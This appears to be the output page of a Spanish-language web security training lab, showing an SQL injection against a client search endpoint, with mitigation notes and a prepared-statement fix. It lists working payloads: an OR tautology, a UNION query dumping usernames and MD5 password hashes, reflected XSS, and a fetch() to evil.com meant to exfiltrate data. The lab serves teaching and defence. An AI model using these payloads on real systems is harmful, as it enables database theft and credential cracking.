Resultados de Busqueda

Busqueda: ' OR '1'='1

SQL INJECTION!

Se detecto un intento de SQL Injection
En un sistema real, esto habria sido bloqueado por un WAF o causado un error. Aqui lo dejamos pasar para que veas el efecto.

Query ejecutada (visible solo en el lab)

SELECT * FROM clients WHERE name LIKE '%' OR '1'='1%'

Resultados 8 registros

id	name	email	rut	phone	address	created_at
1	Constructora González y Asociados SpA	contacto@gonzalezasociados.cl	76.543.210-K	+56 2 2345 6789	Av. Providencia 1234, Of. 501, Santiago	2026-04-12 16:00:02
2	Importadora del Pacífico Ltda.	ventas@importadorapacifico.cl	77.891.234-5	+56 2 2987 6543	Blanco 1199, Valparaíso	2026-04-12 16:00:02
3	Comercial Fernández e Hijos	administracion@fernandez.cl	78.456.789-0	+56 41 222 3344	O'Higgins 567, Concepción	2026-04-12 16:00:02
4	Servicios Técnicos Martínez SPA	gerencia@stmartinez.cl	76.234.567-8	+56 2 2111 2233	Las Condes 8899, Santiago	2026-04-12 16:00:02
5	Distribuidora Nacional de Alimentos S.A.	compras@dinalimentos.cl	79.012.345-6	+56 2 2444 5566	Autopista Central 5000, Quilicura	2026-04-12 16:00:02
6	Asesorías Legales Pérez & Muñoz	contacto@perezymunoz.cl	77.654.321-0	+56 2 2777 8899	Moneda 920, Of. 1201, Santiago	2026-04-12 16:00:02
7	Transportes Ruta Sur Ltda.	operaciones@rutasur.cl	76.789.012-3	+56 45 234 5678	Camino a Melipilla Km 25, Maipú	2026-04-12 16:00:02
8	Clínica Dental Sonrisas SpA	recepcion@sonrisas.cl	78.901.234-5	+56 2 2333 4455	Irarrázaval 2580, Ñuñoa	2026-04-12 16:00:02

Observa: Si usaste UNION, los datos de la tabla users aparecen mezclados con los clientes. La columna password_md5 contiene los hashes MD5 que podes crackear en CrackStation.

Payloads de ejemplo

SQL Injection

XSS (mitigado con CSP + HttpOnly)

Este endpoint es doblemente vulnerable:

SQL Injection: La query se arma concatenando el input directamente
XSS reflejado: Los resultados se muestran sin escapar

Mitigacion aplicada: CSP bloquea conexiones externas + cookie HttpOnly. El XSS ejecuta (alert funciona) pero no puede robar sesion ni contactar servidores externos.

# Ver todos los clientes (bypass del filtro)
?q=' OR '1'='1

# Extraer tabla users con UNION
?q=' UNION SELECT id,username,password_md5,email,role,created_at,7,8 FROM users-- 

# XSS basico (FUNCIONA - el alert se ejecuta)
?q=<script>alert('XSS ejecutado!')</script>

# XSS robo de cookie (FALLA - cookie es HttpOnly)
?q=<script>alert(document.cookie)</script>
# Resultado: cookie vacia porque es HttpOnly

# XSS exfiltracion (BLOQUEADO por CSP)
?q=<script>fetch('http://evil.com/steal?data=test')</script>
# Resultado: CSP bloquea la conexion externa

Herramientas: SQLMap Burp Suite curl

// ESTE ARCHIVO (vulnerable pero mitigado):
// CSP: script-src 'self' 'unsafe-inline'; connect-src 'self'
// Cookie: HttpOnly + SameSite=Strict

// El XSS ejecuta PERO:
// - No puede leer document.cookie (HttpOnly)
// - No puede hacer fetch() a externos (CSP connect-src)
// - No puede cargar scripts externos (CSP script-src)

// buscar_secure.php (seguro):
$stmt = $pdo->prepare("SELECT * FROM clients WHERE name LIKE ?");
$stmt->execute(['%' . $search . '%']);
echo htmlspecialchars($row['name']); // CON escapar